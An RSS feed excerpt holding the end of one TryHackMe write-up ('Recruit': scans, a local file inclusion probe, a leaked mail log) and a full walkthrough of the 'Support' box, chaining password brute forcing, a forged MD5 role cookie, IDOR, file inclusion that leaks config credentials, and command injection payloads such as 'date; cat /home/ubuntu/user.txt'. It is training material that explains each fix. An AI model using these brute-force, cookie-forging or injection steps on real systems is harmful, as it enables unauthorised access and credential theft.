10.129.167.11</pre><pre>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu<br>53/tcp open  domain  ISC BIND 9.16.1<br>80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)<br>| http-cookie-flags:<br>|   /:<br>|     PHPSESSID:<br>|_      httponly flag not set</pre><p>That missing HttpOnly flag on the session cookie is a finding on its own — any XSS on this app would hand over sessions. Filed away for the report.</p><p>Then directory enumeration:</p><pre>gobuster dir -u http://10.129.167.11 -w /usr/share/wordlists/dirb/common.txt -x php</pre><pre>api.php          (Status: 200)<br>config.php       (Status: 200) [Size: 0]<br>dashboard.php    (Status: 302) [--&gt; index.php]<br>file.php         (Status: 200) [Size: 20]<br>header.php       (Status: 200)<br>index.php        (Status: 200)<br>logout.php       (Status: 302)<br>mail             (Status: 301)<br>phpmyadmin       (Status: 301)<br>sitemap.xml      (Status: 200)</pre><p>Three things jumped out:</p><ul><li><strong>config.php returning 200 with a size of 0.</strong> A PHP file that renders blank in a browser but definitely contains <em>something</em>. Config files hold credentials.</li><li><strong>/mail/</strong> — an exposed directory that has no business being web-accessible.</li><li><strong>file.php</strong> — 20 bytes of output with no parameters. Some kind of stub or error message.</li></ul><h3>The FAQ That Gave Away the Game</h3><p>api.php is a documentation page. Buried in the accordion:</p><blockquote><strong><em>How can I fetch a candidate CV using the API?</em></strong><em> </em><em>/file.php?cv=&lt;URL&gt;</em></blockquote><blockquote><strong><em>What kind of URLs are supported?</em></strong><em> The API supports fetching CVs from external URLs such as HTTP and HTTPS.</em></blockquote><blockquote><strong><em>Are there any security restrictions?</em></strong><em> Requests targeting restricted locations may be blocked by the API.</em></blockquote><p>Reading that, my first instinct was <strong>SSRF</strong>. A parameter that fetches arbitrary URLs, with a hint about a blacklist? Textbook.</p><p>So I tested it:</p><pre>curl &quot;http://10.129.167.11/file.php?cv=http://127.0.0.1/&quot;<br>Only local files are allowed</pre><p>Interesting. Not &quot;blocked&quot; — <em>&quot;only local files are allowed.&quot;</em> That&#39;s not an SSRF blacklist rejecting loopback. That&#39;s a filter telling me it wants a <strong>local path</strong>.</p><p>The documentation was stale. Whoever wrote the FAQ described the feature as originally designed; whoever wrote the filter locked it down to local files and never updated the docs. The result is a <strong>Local File Inclusion</strong> wearing an SSRF costume.</p><p><strong>Lesson:</strong> read the error message, not the documentation. The error is what the code actually does.</p><pre>curl &quot;http://10.129.167.11/file.php?cv=file:///etc/passwd&quot;<br>Access denied</pre><p>Different error — so file:// is the accepted scheme, but something is restricting <em>which</em> files. Progress.</p><h3>The Mail Log</h3><p>Before wrestling with the filter, I checked that exposed /mail/ directory:</p><pre>curl -s http://10.129.167.11/mail/mail.log</pre><p>Postfix logs, and embedded in them, the full body of an internal email:</p><pre>From: HR Team &lt;hr@recruit.thm&gt;<br>To: IT Support &lt;it-support@recruit.thm&gt;<br>Subject: Recruitment Portal Deployment Confirmation<br><br>As discussed during deployment:<br>- HR login credentials (username: hr) are currently stored in the application<br>  configuration file (config.php) for ease of access during<br>  the initial rollout phase.<br>- Administrator credentials are NOT stored in the application<br>  files and are securely maintained within the backend database.</pre><p>This is the map. It tells me:</p><ul><li>The HR username is hr</li><li>The HR password is in config.php — the file I already know exists</li><li>The admin password is in the <strong>database</strong>, not on disk</li></ul><p>Two distinct targets, two distinct techniques required. The challenge structure just revealed itself.</p><p>It&#39;s worth pausing on how bad this is in isolation. Application logs got dropped into the webroot, and one of them contained a verbatim email describing the organisation&#39;s credential storage strategy. No exploitation required — just a curl.</p><h3>Foothold: Reading config.php</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f199e909b328" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Five Small Mistakes: Chaining Weak Trust Boundaries to RCE on TryHackMe’s “Support”]]></title>
            <link>https://medium.com/@consisanas/five-small-mistakes-chaining-weak-trust-boundaries-to-rce-on-tryhackmes-support-416e9ebe3cbe?source=rss-10f01cbaf3ac------2</link>
            <guid isPermaLink="false">https://medium.com/p/416e9ebe3cbe</guid>
            <category><![CDATA[cybersecurity-training]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anas Aourik]]></dc:creator>
            <pubDate>Sun, 23 Aug 2026 00:13:18 GMT</pubDate>
            <atom:updated>2026-08-23T00:17:14.247Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EkJI9y3R4mDZRsikq0qUVw.png" /></figure><p><em>A walkthrough of the Support Operations Platform box — including the dead ends, because those were most of the work.</em></p><p>Every finding in this room is small on its own. A guessable password. A cookie you can edit. An ID parameter that doesn’t check ownership. None of them would make a pentest report interesting by itself.</p><p>Chained together, they end in remote code execution as www-data.</p><p>That’s the actual lesson of this box, and it’s why I want to write it up properly rather than just listing the payloads. The vulnerabilities aren’t clever. The <em>composition</em> is.</p><p><strong>Target:</strong> http://10.129.134.51 (IP rotates per session) <strong>Goal:</strong> an admin flag, and the contents of /home/ubuntu/user.txt</p><h3>Recon: a very loud phpinfo</h3><p>Standard start — port scan, then content discovery:</p><pre>ffuf -u http://10.129.134.51/FUZZ \<br>  -w ~/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt \<br>  -e .php,.bak,.old,.txt,.json -mc all -ac -t 60</pre><p>What came back:</p><p>PathStatusNotesindex.php200Login pageinfo.php200<strong>phpinfo() dump</strong>config.php200, 0 bytesExecutes, prints nothingfooter.php200Shared footerapi.php302 → index.phpAuth-gateddashboard.php302 → index.phpAuth-gatedjs/, includes/, skins/, layout/301Asset dirs</p><p>The exposed phpinfo() is worth stopping on, because it defines the entire endgame before I&#39;ve found a single vulnerability:</p><pre>Apache/2.4.58 (Ubuntu), PHP 8.3.6<br>disable_functions   = (empty)<br>open_basedir        = (empty)<br>allow_url_include   = Off<br>allow_url_fopen     = On<br>file_uploads        = On<br>session.save_path   = /var/lib/php/sessions</pre><p>disable_functions empty means system(), exec(), shell_exec(), and proc_open() are all live. open_basedir empty means no filesystem restriction. So:</p><ul><li><strong>any</strong> code execution is immediately a full shell</li><li><strong>any</strong> arbitrary file read reaches /home/ubuntu/user.txt directly</li></ul><p>That reframes the whole engagement. I’m not looking for the <em>best</em> vulnerability, I’m looking for <em>any</em> primitive of either kind.</p><p>allow_url_include=Off closes remote file inclusion, so a local file include won&#39;t become RCE for free. Noted for later.</p><h3>Dead ends (this part matters)</h3><p>Most writeups skip this. I think that’s a mistake — the ruled-out paths are what justify the path you eventually take, and if you don’t record them you re-test them at 2am.</p><p><strong>No SQL injection on the login.</strong> Every response was exactly 200 / 2678 bytes, regardless of input:</p><pre>&#39; -- -<br>&#39; OR 1=1-- -<br>&quot; OR &quot;1&quot;=&quot;1&quot;-- -<br>&#39; AND SLEEP(5)-- -</pre><p>The SLEEP(5) returned in 89ms. Input never reaches a query.</p><p><strong>No user enumeration.</strong> admin@support.thm, help@support.thm, and zzz@nope.invalid all returned identical byte counts <em>and</em> identical timing (~0.09s). No oracle.</p><p><strong>No LFI on </strong><strong>index.php.</strong> I fuzzed page, skin, layout, theme, template, view, file, include, inc, load, mod, content, lang, tpl — all returned the same 2591-byte page.</p><p>That last one turned out to be a <em>correct test with a wrong target</em>, and I’ll come back to it. The parameter existed; it just wasn’t on that page.</p><p><strong>api.php couldn&#39;t be probed from outside.</strong> The auth gate ran before the router: Content-Length: 0, instant 302, no &quot;unknown action&quot; error. Unauthenticated, with a valid-but-unauthenticated PHPSESSID, with ?action=test as GET and as POST — all identical. There was nothing to enumerate.</p><h3>Weakness #1: a password in the top 10,000</h3><p>With no injection and no enumeration, credentials were the remaining door. First, check whether brute forcing is even viable:</p><p>bash</p><pre>for i in $(seq 1 25); do<br>  curl -s -o /dev/null -w &quot;$i %{http_code} %{size_download}\n&quot; \<br>    -X POST http://10.129.134.51/index.php \<br>    -d &quot;email=help@support.thm&amp;password=bad$i&quot;<br>done</pre><p>Twenty-five identical responses. No lockout, no rate limiting, no throttling cookie. That’s weakness zero, really — it makes everything after it cheap.</p><p>Next, get the failure signature. This is the step I’d skip if I were being sloppy, and it’s the step that made the attack work:</p><p>bash</p><pre>diff &lt;(curl -s http://10.129.134.51/) \<br>     &lt;(curl -s -X POST http://10.129.134.51/index.php \<br>        -d &quot;email=help@support.thm&amp;password=wrongpw&quot;)</pre><p>html</p><pre>&gt; &lt;div class=&quot;alert alert-danger&quot;&gt;Invalid credentials&lt;/div&gt;</pre><p>Now the run:</p><p>bash</p><pre>ffuf -u http://10.129.134.51/index.php -X POST \<br>  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \<br>  -d &quot;email=help@support.thm&amp;password=FUZZ&quot; \<br>  -w ~/wordlists/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt \<br>  -mc all -fr &#39;Invalid credentials&#39; -t 40 -noninteractive</pre><pre>snoopy    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 44ms]</pre><h3>The filtering lesson</h3><p>My first attempt used -fs 2678 — filter on the size of the failure page. It found <strong>nothing</strong>, and I nearly concluded the account wasn&#39;t brute-forceable.</p><p>The successful login returns a <strong>302 with a zero-byte body</strong>, because PHP calls header(&#39;Location: ...&#39;) and exits before rendering the template. Filtering by size was filtering on the wrong axis entirely.</p><p>-fr &#39;Invalid credentials&#39; matches on <em>content</em>, so any response lacking the error string surfaces regardless of its length. If you take one operational habit from this post, take that one: <strong>filter on the failure string, not the failure size.</strong></p><h3>Weakness #2: a role flag the client controls</h3><p>Logging in returns two cookies:</p><pre>Set-Cookie: PHPSESSID=vdmvg67f00a4f2pv235lfja3rc; path=/<br>Set-Cookie: isITUser=68934a3e9455fa72420237eb05902327; Max-Age=3600; path=/</pre><p>That second value is 32 hex characters, which <em>looks</em> like an opaque token. It isn’t:</p><p>bash</p><pre>$ echo -n false | md5sum<br>68934a3e9455fa72420237eb05902327  -</pre><p>It’s the MD5 of the string false. So:</p><p>bash</p><pre>$ echo -n true | md5sum<br>b326b5062b2f0e69046810717534cb09  -</pre><p>bash</p><pre>curl -s -b &quot;PHPSESSID=&lt;session&gt;; isITUser=b326b5062b2f0e69046810717534cb09&quot; \<br>  http://10.129.134.51/dashboard.php</pre><p>html</p><pre>&lt;div class=&quot;card mt-4 border-success&quot;&gt;<br>    &lt;h5 class=&quot;text-success&quot;&gt;IT Admin Panel&lt;/h5&gt;<br>    &lt;a href=&quot;api.php&quot; class=&quot;btn btn-success&quot;&gt;View API&lt;/a&gt;<br>&lt;/div&gt;</pre><p>Hashing doesn’t make a value trustworthy. MD5 is not a signature — it’s a checksum with no secret in it, so anyone can compute a valid one for any value they like. An HMAC with a server-side key would have been the correct primitive here. The session already existed and was already server-side; the role simply belonged inside it.</p><p>This also explains the api.php gate that was unprobeable earlier. The gate wasn&#39;t reading the session — it was reading the cookie.</p><h3>Weakness #3: an ID parameter with no ownership check</h3><p>api.php now renders, and it tells me its own routing convention:</p><blockquote><em>As a helpdesk user, you can query your own profile: </em><em>/user/3</em></blockquote><p>json</p><pre>{<br>    &quot;email&quot;: &quot;help@support.thm&quot;,<br>    &quot;2FA&quot;: false,<br>    &quot;admin&quot;: false<br>}</pre><p>The route lives at web root via URL rewriting — http://10.129.134.51/user/1, not api.php/user/1. I burned time on that distinction: looping IDs against api.php/user/N returned my own profile for every value, because PATH_INFO was being ignored and the app fell back to the session user.</p><p>Hitting the rewritten route directly:</p><p>json</p><pre>{<br>    &quot;email&quot;: &quot;specialadmin@support.thm&quot;,<br>    &quot;2FA&quot;: false,<br>    &quot;admin&quot;: true<br>}</pre><p>An admin account, no second factor. I didn’t have its password — but I now knew exactly who to target.</p><h3>Weakness #4: local file inclusion via the theme selector</h3><p>Remember the LFI fuzzing that came up empty? The include parameter was real. It just lived in footer.php, which only renders on <strong>authenticated</strong> pages. I&#39;d been fuzzing the login screen, which never includes the footer.</p><p>The footer has a theme dropdown: ?skin=default, ?skin=red, ?skin=green, ?skin=blue.</p><pre>http://10.129.134.51/dashboard.php?skin=../config</pre><p>php</p><pre>&lt;?php<br>$MASTER_PASSWORD = &#39;support@110&#39;;<br>$SITE_VER = &#39;1.0&#39;;<br>$SITE_NAME = &#39;support_portal&#39;;</pre><p>../config resolved to config.php and the source rendered unparsed. That&#39;s the classic outcome when a file is included from a context where it isn&#39;t executed as a fresh PHP page — you get the literal source, comments, credentials and all. It also confirms the include appends .php to whatever you give it.</p><p>The same primitive gave me api.php&#39;s logic:</p><p>php</p><pre>include(&#39;/var/www/db.php&#39;);<br>$id = $_GET[&#39;id&#39;] ?? $_SESSION[&#39;user_id&#39;];<br>$user = $users[$id] ?? null;<br>if (preg_match(&#39;#^/user/#&#39;, $_SERVER[&#39;REQUEST_URI&#39;])) {<br>    header(&#39;Content-Type: application/json&#39;);<br>    unset($user[&#39;password&#39;]);<br>    echo json_encode($user, JSON_PRETTY_PRINT);<br>    exit;<br>}</pre><p>Two things worth noting. The user store is at /var/www/db.php — <strong>outside the webroot</strong>, so no amount of content discovery would ever have found it. And unset($user[&#39;password&#39;]) strips the password from output, which is the right instinct applied one layer too late: the data was already loaded, and the file itself was readable through the same LFI.</p><h3>The password mutation</h3><p>support@110 didn&#39;t authenticate as-is. Real passwords get typed by humans who drop punctuation, so the natural next step is rule-based mutation of the leaked string rather than a generic wordlist.</p><p>Build a small seed list from the leaked value plus site-derived words:</p><p>bash</p><pre>cewl -d 2 -m 4 -w site.txt http://10.129.134.51/<br>printf &#39;support@110\nsupport110\nsupport_portal\nSupport\n&#39; &gt;&gt; site.txt</pre><p>Then mutate with hashcat rules:</p><p>bash</p><pre>hashcat --stdout site.txt -r /usr/share/hashcat/rules/best64.rule &gt; mutated.txt<br>wc -l mutated.txt</pre><p>Or with John, which is often a better fit for this kind of small targeted list:</p><p>bash</p><pre>john --wordlist=site.txt --rules=Jumbo --stdout &gt; mutated.txt</pre><p>Then run it through the same ffuf harness:</p><p>bash</p><pre>ffuf -u http://10.129.134.51/index.php -X POST \<br>  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \<br>  -d &quot;email=specialadmin@support.thm&amp;password=FUZZ&quot; \<br>  -w mutated.txt -mc all -fr &#39;Invalid credentials&#39; -t 40 -noninteractive</pre><p>The working credential was <strong>support110</strong> — the leaked value with the @ dropped. A generic top-10k list would never have found it; a two-line mutation of a leaked string found it immediately. This is why leaked-but-not-quite-right credentials are worth ten minutes of rule mutation before you escalate to rockyou.</p><p>Logging in as specialadmin@support.thm gives the first flag:</p><pre>Administrator Access Confirmed<br>THM{I*********9}</pre><h3>Weakness #5: validating the shape of a command instead of its behaviour</h3><p>The admin dashboard renders a footer widget the helpdesk user never saw. Inspecting it:</p><p>html</p><pre>&lt;form id=&quot;sysForm&quot; method=&quot;POST&quot;&gt;<br>  &lt;select class=&quot;form-select&quot; name=&quot;sys&quot;<br>          onchange=&quot;document.getElementById(&#39;sysForm&#39;).submit();&quot;&gt;<br>    &lt;option value=&quot;date&quot;&gt;Date&lt;/option&gt;<br>    &lt;option value=&#39;date +&quot;%H:%M:%S&quot;&#39;&gt;Time&lt;/option&gt;<br>  &lt;/select&gt;<br>&lt;/form&gt;</pre><p>The option values are <strong>literal shell commands</strong>. Not identifiers that map to commands server-side — the actual strings, sitting in the DOM, POSTed to a shell.</p><p>First attempt:</p><p>bash</p><pre>curl -s -b &quot;PHPSESSID=&lt;session&gt;; isITUser=b326b5062b2f0e69046810717534cb09&quot; \<br>  -X POST --data-urlencode &quot;sys=cat /home/ubuntu/user.txt&quot; \<br>  http://10.129.134.51/dashboard.php</pre><p>html</p><pre>&lt;div class=&quot;alert alert-danger&quot;&gt;Only date command is allowed.&lt;/div&gt;</pre><p>That error message is the whole vulnerability, stated out loud. It’s not a whitelist of commands — it’s a <strong>prefix check on a string</strong>. The server is asking “does this start with date?&quot; when it should be asking &quot;is this one of a fixed set of operations I will perform?&quot;</p><p>So keep date at the front and append:</p><p>bash</p><pre>curl -s -b &quot;PHPSESSID=&lt;session&gt;; isITUser=b326b5062b2f0e69046810717534cb09&quot; \<br>  -X POST --data-urlencode &quot;sys=date; cat /home/ubuntu/user.txt 2&gt;&amp;1&quot; \<br>  http://10.129.134.51/dashboard.php</pre><pre>Thu Aug 20 23:08:34 UTC 2026<br>THM{*******************001}</pre><p>Sweeping the separators is worth doing for the diagnostic value:</p><p>PayloadResultdate; cat /home/ubuntu/user.txtdate + flagdate &amp;&amp; cat /home/ubuntu/user.txtdate + flagdate | cat /home/ubuntu/user.txtflag onlydate $(cat /home/ubuntu/user.txt)emptydate `cat /home/ubuntu/user.txt`emptydate -f /home/ubuntu/user.txtempty</p><p>The three shell operators pass; command substitution doesn’t. That’s consistent with the app suppressing stderr on a failed command rather than filtering — either way, the prefix check itself was never the obstacle.</p><p>And with disable_functions empty, cat was the least I could have done here. A reverse shell was the same request.</p><h3>The chain, end to end</h3><ol><li><strong>Weak password, no rate limiting</strong> — help@support.thm : snoopy, found in the top 10k in 15 seconds</li><li><strong>Client-controlled role cookie</strong> — isITUser = MD5 of a boolean, so I minted my own IT-user privilege</li><li><strong>IDOR</strong> — the user endpoint returned any profile by ID, exposing an admin account with no 2FA</li><li><strong>LFI</strong> — a theme parameter on an authenticated page leaked config.php and the master password</li><li><strong>Command injection</strong> — a prefix check instead of a whitelist, chained past with ;</li></ol><p>Remove any single link and the chain breaks. Rate limiting alone stops step 1. Signing the role cookie stops step 2. An ownership check stops step 3. A whitelist instead of a prefix match stops step 5.</p><p>That’s the part I’d put in a report. Individually these are low and medium findings that get triaged into a backlog. The finding isn’t any one of them — the finding is that they compose.</p><p><a href="https://tryhackme.com/room/support">https://tryhackme.com/room/support</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=416e9ebe3cbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>